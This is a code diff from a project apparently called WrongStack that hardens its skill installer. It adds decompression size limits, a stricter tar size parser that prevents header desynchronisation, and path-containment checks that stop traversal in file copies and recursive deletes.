+ export declare function generateTotp(secretBase32: string, atMs?: number, stepSeconds?: number, digits?: number): string;
46
+ /**
47
+ * Verify a TOTP code with a ±window tolerance. Uses constant-time string
48
+ * comparison on each attempt.
49
+ *
50
+ * @param code - the code entered by the user
51
+ * @param secretBase32 - base32-encoded secret
52
+ * @param atMs - epoch milliseconds; defaults to `Date.now()`
53
+ * @param window - number of steps before/after the current step to accept.
54
+ * 0 = exact step only; 1 = ±30s (default); 2 = ±60s.
55
+ * @returns `true` if the code matches any step within the window.
56
+ */
57
+ export declare function verifyTotp(code: string, secretBase32: string, atMs?: number, window?: number, stepSeconds?: number, digits?: number): boolean;
58
+ /**
59
+ * Build an `otpauth://` URI for QR-code provisioning (RFC 6238 / Google Auth).
60
+ *
61
+ * Format: `otpauth://totp/<label>?secret=<base32>&issuer=<issuer>&algorithm=SHA1&digits=6&period=30`
62
+ *
63
+ * The URI is used to render a QR code in the settings page. Authenticator
64
+ * apps scan it and store the secret.
65
+ */
66
+ export declare function buildOtpAuthUri(secretBase32: string, account: string, issuer?: string, stepSeconds?: number, digits?: number): string;
67
+ /**
68
+ * Generate a batch of single-use recovery codes. Each code is a 16-char
69
+ * hex string with a hyphen separator in the middle for readability.
70
+ *
71
+ * Format: `xxxxxxxx-xxxxxxxx` (8 hex chars, hyphen, 8 hex chars)
72
+ */
73
+ export declare function generateRecoveryCodes(count?: number): string[];
74
+ /**
75
+ * Hash a recovery code with SHA-256 for storage. Recovery codes are
76
+ * single-use; storing only the hash means a leaked `auth.json` cannot
77
+ * reveal unused codes.
78
+ */
79
+ export declare function hashRecoveryCode(code: string): string;
80
+ /**
81
+ * Constant-time comparison of a recovery code against a list of stored
82
+ * SHA-256 hashes. Returns `true` on match. Callers MUST remove the matched
83
+ * hash from the store after a successful verification (single-use).
84
+ */
85
+ export declare function verifyRecoveryCode(code: string, storedHashes: string[]): boolean;
86
+ //# sourceMappingURL=totp.d.ts.map
@@ -10,12 +10,23 @@
10
10
  export interface ParsedSkillFrontmatter {
11
11
  name?: string | undefined;
12
12
  description?: string | undefined;
13
+ /**
14
+ * Optional explicit "Use when…" trigger (WrongStack extension). When present
15
+ * it is used verbatim as the skill's trigger in the available-skills list;
16
+ * otherwise the trigger falls back to the first sentence of `description`.
17
+ */
18
+ trigger?: string | undefined;
13
19
  /** WrongStack extension; informational only. */
14
20
  version?: string | undefined;
15
21
  license?: string | undefined;
16
22
  compatibility?: string | undefined;
17
23
  metadata?: Record<string, string> | undefined;
18
- /** `allowed-tools` (spec, experimental) → split on whitespace. */
24
+ /**
25
+ * `allowed-tools` (agentskills.io spec, experimental) → split on whitespace.
26
+ * INFORMATIONAL ONLY: WrongStack parses and can surface this list but does NOT
27
+ * enforce it — the `skill` tool's permissions/capabilities are fixed and never
28
+ * consult this field, so it neither grants nor restricts any tool.
29
+ */
19
30
  allowedTools?: string[] | undefined;
20
31
  }
21
32
  /**
@@ -1,3 +1,4 @@
1
+ import { Readable } from 'node:stream';
1
2
  export interface ParsedRef {
2
3
  owner: string;
3
4
  repo: string;
@@ -12,6 +13,8 @@ export interface DownloadResult {
12
13
  /** Temp directory containing the extracted repo. Caller must clean up. */
13
14
  tempDir: string;
14
15
  }
16
+ /** Stream a gzip payload to disk while enforcing its decompressed byte budget. */
17
+ export declare function writeBoundedGzipStream(source: Readable, outputPath: string, maxBytes: number, maxCompressedBytes?: number): Promise<number>;
15
18
  /**
16
19
  * Resolve a GitHub auth token, if one is configured.
17
20
  *
@@ -35,4 +38,49 @@ export declare function resolveGitHubToken(env?: NodeJS.ProcessEnv): string | un
35
38
  * must remove it (the installer does this in a `finally`).
36
39
  */
37
40
  export declare function downloadGitHubTarball(parsed: ParsedRef): Promise<DownloadResult>;
41
+ /**
42
+ * Read a tar header's 12-byte size field (WS-056).
43
+ */
44
+ declare function readTarSize(buf: Buffer, start: number): number;
45
+ /**
46
+ * Minimal POSIX tar extractor. Handles the ustar format produced by GitHub.
47
+ * Only extracts regular files and directories — symlinks and special entries
48
+ * are skipped for security.
49
+ */
50
+ declare function extractTar(buf: Buffer, destDir: string): Promise<void>;
51
+ /**
52
+ * Read a tar header's 12-byte size field (WS-056).
53
+ *
54
+ * This was `parseInt(readTarString(...), 8) || 0`, which is wrong in a way
55
+ * that matters more than a wrong number.
56
+ *
57
+ * GNU tar encodes a size that does not fit 11 octal digits in "base-256":
58
+ * the high bit of the first byte is set and the remaining bytes are a
59
+ * big-endian binary integer. Read as an octal STRING that is binary garbage,
60
+ * so `parseInt` returned `NaN` and `|| 0` quietly turned it into a size of 0.
61
+ *
62
+ * A size of 0 does not merely mis-report the entry — it DESYNCHRONISES the
63
+ * parser. The loop advances by `512 + ceil(size / 512) * 512`, so a zero size
64
+ * advances one block and the entry's own DATA is then parsed as the next tar
65
+ * header. From that point every "entry" is attacker-chosen content that was
66
+ * never visible as a file, and the extractor writes whatever those synthetic
67
+ * headers name. The zip-slip guard still holds, so this is not a path out of
68
+ * `destDir` — but it is arbitrary file creation inside it from data no
69
+ * inspection of the archive's real entry list would show.
70
+ *
71
+ * So: parse base-256 properly, and treat a size that is neither valid octal
72
+ * nor valid base-256 as fatal. Continuing from an unknown size is exactly the
73
+ * desync; refusing to extract is the only safe response.
74
+ */
75
+ /**
76
+ * Internal seam for the per-file coverage suite (mirrors
77
+ * `protocolHandlerCoverage` in the ACP handler). `extractTar` and
78
+ * `readTarSize` are the security-relevant halves of this module and are
79
+ * otherwise unreachable from a test without performing a real download.
80
+ */
81
+ export declare const githubFetcherCoverage: {
82
+ extractTar: typeof extractTar;
83
+ readTarSize: typeof readTarSize;
84
+ };
85
+ export {};
38
86
  //# sourceMappingURL=github-fetcher.d.ts.map
@@ -40,7 +40,7 @@ function securityScoreToTier(score) {
40
40
  }
41
41
 
42
42
  // src/skills/frontmatter.ts
43
- var SCALAR_KEYS = /* @__PURE__ */ new Set(["name", "description", "version", "license", "compatibility"]);
43
+ var SCALAR_KEYS = /* @__PURE__ */ new Set(["name", "description", "trigger", "version", "license", "compatibility"]);
44
44
  function parseSkillFrontmatter(raw) {
45
45
  const text = normalizeLineEndings(raw);
46
46
  if (!text.startsWith("---")) return {};
@@ -144,6 +144,7 @@ function validateSkillName(name, parentDirName) {
144
144
  }
145
145
 
146
146
  // src/skills/github-fetcher.ts
147
+ import { createWriteStream } from "node:fs";
147
148
  import * as fs from "node:fs/promises";
148
149
  import * as os from "node:os";
149
150
  import * as path from "node:path";
@@ -341,6 +342,14 @@ var SKILL_LIMITS = {
341
342
  * Consumer: `downloadGitHubTarball`.
342
343
  */
343
344
  MAX_TARBALL_SIZE: 50 * 1024 * 1024,
345
+ /**
346
+ * Maximum size of a GitHub skill tarball after gzip decompression. The
347
+ * compressed download limit alone does not protect against highly
348
+ * compressible archives expanding until the process runs out of memory.
349
+ *
350
+ * Consumer: `downloadGitHubTarball`.
351
+ */
352
+ MAX_UNCOMPRESSED_TARBALL_SIZE: 64 * 1024 * 1024,
344
353
  /**
345
354
  * Default total char budget for skill bodies injected in eager mode when
346
355
  * `config.skills.eagerMaxChars` is unset. ~6k tokens. Skills are injected
@@ -352,6 +361,17 @@ var SKILL_LIMITS = {
352
361
  * `skillEagerMaxChars`).
353
362
  */
354
363
  EAGER_DEFAULT_MAX_CHARS: 24e3,
364
+ /**
365
+ * Default total char budget for compact (token-saving) skill bodies injected
366
+ * by `buildCompactSkillBodiesText`. Mirrors the eager ceiling so compact mode
367
+ * can never inject more total skill text than eager mode. Before this bound
368
+ * existed, compact mode injected EVERY skill's compact body with no cap, so
369
+ * the section grew linearly with the number of installed skills. Skills past
370
+ * the budget overflow to a name list the agent loads via the `skill` tool.
371
+ *
372
+ * Consumer: `buildCompactSkillBodiesText` (default for its `budget` param).
373
+ */
374
+ COMPACT_DEFAULT_MAX_CHARS: 24e3,
355
375
  /**
356
376
  * Auto-compact body limits (the token-saving fallback used when a skill has
357
377
  * no hand-crafted `SKILL.save.md`). The Overview and Rules sections are
@@ -404,6 +424,46 @@ function parseSkillRef(input) {
404
424
  }
405
425
  return { owner: expectDefined(parts[0]), repo: expectDefined(parts[1]), ref };
406
426
  }
427
+ async function writeBoundedGzipStream(source, outputPath, maxBytes, maxCompressedBytes = SKILL_LIMITS.MAX_TARBALL_SIZE) {
428
+ let compressedBytes = 0;
429
+ let writtenBytes = 0;
430
+ await pipeline(
431
+ source,
432
+ async function* (chunks) {
433
+ for await (const chunk of chunks) {
434
+ const buffer = Buffer.isBuffer(chunk) ? chunk : Buffer.from(chunk);
435
+ compressedBytes += buffer.byteLength;
436
+ if (compressedBytes > maxCompressedBytes) {
437
+ throw new WrongStackError({
438
+ message: `Compressed tarball too large. Max: ${maxCompressedBytes / 1024 / 1024}MB`,
439
+ code: ERROR_CODES.UNKNOWN,
440
+ subsystem: "general",
441
+ context: { compressedBytes, maxBytes: maxCompressedBytes }
442
+ });
443
+ }
444
+ yield buffer;
445
+ }
446
+ },
447
+ createGunzip(),
448
+ async function* (chunks) {
449
+ for await (const chunk of chunks) {
450
+ const buffer = Buffer.isBuffer(chunk) ? chunk : Buffer.from(chunk);
451
+ writtenBytes += buffer.byteLength;
452
+ if (writtenBytes > maxBytes) {
453
+ throw new WrongStackError({
454
+ message: `Uncompressed tarball too large. Max: ${maxBytes / 1024 / 1024}MB`,
455
+ code: ERROR_CODES.UNKNOWN,
456
+ subsystem: "general",
457
+ context: { uncompressedBytes: writtenBytes, maxBytes }
458
+ });
459
+ }
460
+ yield buffer;
461
+ }
462
+ },
463
+ createWriteStream(outputPath, { flags: "wx" })
464
+ );
465
+ return writtenBytes;
466
+ }
407
467
  function resolveGitHubToken(env = process.env) {
408
468
  const raw = env["WRONGSTACK_GITHUB_TOKEN"] ?? env["GITHUB_TOKEN"] ?? env["GH_TOKEN"];
409
469
  if (!raw) return void 0;
@@ -490,15 +550,14 @@ async function downloadGitHubTarball(parsed) {
490
550
  });
491
551
  }
492
552
  const nodeStream = Readable.fromWeb(response.body);
493
- const gunzip = createGunzip();
494
- const chunks = [];
495
- await pipeline(nodeStream, gunzip, async (source) => {
496
- for await (const chunk of source) {
497
- chunks.push(Buffer.from(chunk));
498
- }
499
- });
500
- const tarBuf = Buffer.concat(chunks);
501
- await extractTar(tarBuf, tempDir);
553
+ const tarPath = path.join(tempDir, ".wrongstack-download.tar");
554
+ await writeBoundedGzipStream(nodeStream, tarPath, SKILL_LIMITS.MAX_UNCOMPRESSED_TARBALL_SIZE);
555
+ const tarBuf = await fs.readFile(tarPath);
556
+ try {
557
+ await extractTar(tarBuf, tempDir);
558
+ } finally {
559
+ await fs.rm(tarPath, { force: true });
560
+ }
502
561
  return { tempDir };
503
562
  } catch (err) {
504
563
  await fs.rm(tempDir, { recursive: true, force: true }).catch(() => {
@@ -506,6 +565,44 @@ async function downloadGitHubTarball(parsed) {
506
565
  throw err;
507
566
  }
508
567
  }
568
+ function readTarSize(buf, start) {
569
+ const first = buf[start] ?? 0;
570
+ if ((first & 128) !== 0) {
571
+ if (first === 255) {
572
+ throw new Error("tar: negative base-256 size field");
573
+ }
574
+ let value = first & 127;
575
+ for (let i = start + 1; i < start + 12; i++) {
576
+ value = value * 256 + (buf[i] ?? 0);
577
+ if (!Number.isSafeInteger(value)) {
578
+ throw new Error("tar: base-256 size exceeds the safe integer range");
579
+ }
580
+ }
581
+ return value;
582
+ }
583
+ const text = readTarString(buf, start, 12).trim();
584
+ if (text === "") return 0;
585
+ if (!/^[0-7]+$/.test(text)) {
586
+ throw new Error(`tar: unparseable size field ${JSON.stringify(text)}`);
587
+ }
588
+ const parsed = Number.parseInt(text, 8);
589
+ if (!Number.isSafeInteger(parsed) || parsed < 0) {
590
+ throw new Error("tar: size field out of range");
591
+ }
592
+ return parsed;
593
+ }
594
+ function readTarString(buf, start, maxLen) {
595
+ let end = start;
596
+ while (end < start + maxLen && end < buf.length && buf[end] !== 0) {
597
+ end++;
598
+ }
599
+ return buf.subarray(start, end).toString("utf8");
600
+ }
601
+ function stripTopDir(p) {
602
+ const idx = p.indexOf("/");
603
+ if (idx === -1) return "";
604
+ return p.slice(idx + 1);
605
+ }
509
606
  async function extractTar(buf, destDir) {
510
607
  let offset = 0;
511
608
  while (offset + 512 <= buf.length) {
@@ -513,7 +610,7 @@ async function extractTar(buf, destDir) {
513
610
  if (header.every((b) => b === 0)) break;
514
611
  const name = readTarString(buf, offset, 100);
515
612
  const prefix = readTarString(buf, offset + 345, 155);
516
- const size = Number.parseInt(readTarString(buf, offset + 124, 12).trim(), 8) || 0;
613
+ const size = readTarSize(buf, offset + 124);
517
614
  const typeflag = buf[offset + 156] ?? 0;
518
615
  const fullPath = prefix ? `${prefix}/${name}` : name;
519
616
  const relPath = stripTopDir(fullPath);
@@ -542,18 +639,6 @@ async function extractTar(buf, destDir) {
542
639
  offset += 512 + Math.ceil(size / 512) * 512;
543
640
  }
544
641
  }
545
- function readTarString(buf, start, maxLen) {
546
- let end = start;
547
- while (end < start + maxLen && end < buf.length && buf[end] !== 0) {
548
- end++;
549
- }
550
- return buf.subarray(start, end).toString("utf8");
551
- }
552
- function stripTopDir(p) {
553
- const idx = p.indexOf("/");
554
- if (idx === -1) return "";
555
- return p.slice(idx + 1);
556
- }
557
642
 
558
643
  // src/skills/manifest-store.ts
559
644
  import * as fs2 from "node:fs/promises";
@@ -968,6 +1053,10 @@ function defaultEditor() {
968
1053
  // src/skills/skill-installer.ts
969
1054
  import * as fs4 from "node:fs/promises";
970
1055
  import * as path4 from "node:path";
1056
+ function isInside(resolved, destDir) {
1057
+ const root = path4.resolve(destDir);
1058
+ return resolved === root || resolved.startsWith(root + path4.sep);
1059
+ }
971
1060
  var MAX_SKILL_FILE_SIZE = SKILL_LIMITS.MAX_SKILL_FILE_SIZE;
972
1061
  var SkillInstaller = class {
973
1062
  opts;
@@ -1028,7 +1117,7 @@ var SkillInstaller = class {
1028
1117
  const srcPath = path4.join(skill.baseDir, file);
1029
1118
  const destPath = path4.join(destDir, file);
1030
1119
  const resolved2 = path4.resolve(destPath);
1031
- if (!resolved2.startsWith(path4.resolve(destDir))) {
1120
+ if (!isInside(resolved2, destDir)) {
1032
1121
  throw new FsError({
1033
1122
  message: `Path traversal detected in skill file: ${file}`,
1034
1123
  code: ERROR_CODES.FS_DELETE_FAILED,
@@ -1125,7 +1214,7 @@ var SkillInstaller = class {
1125
1214
  const srcPath = path4.join(srcSkillDir, file);
1126
1215
  const destPath = path4.join(destDir, file);
1127
1216
  const resolved = path4.resolve(destPath);
1128
- if (!resolved.startsWith(path4.resolve(destDir))) {
1217
+ if (!isInside(resolved, destDir)) {
1129
1218
  throw new FsError({
1130
1219
  message: `Path traversal detected in skill file: ${file}`,
1131
1220
  code: ERROR_CODES.FS_DELETE_FAILED,
@@ -1339,9 +1428,31 @@ var SkillInstaller = class {
1339
1428
  /**
1340
1429
  * Remove all files for an installed skill.
1341
1430
  */
1431
+ /**
1432
+ * Delete an installed skill's directory.
1433
+ *
1434
+ * The containment check is not ceremonial: this is a `recursive: true,
1435
+ * force: true` delete whose target is built from a skill NAME taken from
1436
+ * manifest frontmatter. `path.join` normalises `..`, so a crafted name
1437
+ * escapes `targetDir` and takes the recursive delete with it. This file
1438
+ * already had `isInside` and applied it on the copy path but not here.
1439
+ *
1440
+ * The strict-subdirectory requirement matters separately: `isInside` allows
1441
+ * equality by design, and an empty or `.` name resolves `skillDir` to
1442
+ * `targetDir` itself — deleting every installed skill (WS-097).
1443
+ */
1342
1444
  async removeSkillFiles(name, scope) {
1343
1445
  const targetDir = scope === "project" ? this.opts.projectSkillsDir : this.opts.globalSkillsDir;
1344
- const skillDir = path4.join(targetDir, name);
1446
+ const root = path4.resolve(targetDir);
1447
+ const skillDir = path4.resolve(path4.join(targetDir, name));
1448
+ if (skillDir === root || !isInside(skillDir, root)) {
1449
+ throw new FsError({
1450
+ message: `Refusing to delete skill files outside the skills directory: ${name}`,
1451
+ code: ERROR_CODES.FS_DELETE_FAILED,
1452
+ path: skillDir,
1453
+ context: { reason: "path_traversal", skillName: name, scope }
1454
+ });
1455
+ }
1345
1456
  await fs4.rm(skillDir, { recursive: true, force: true });
1346
1457
  }
1347
1458
  /**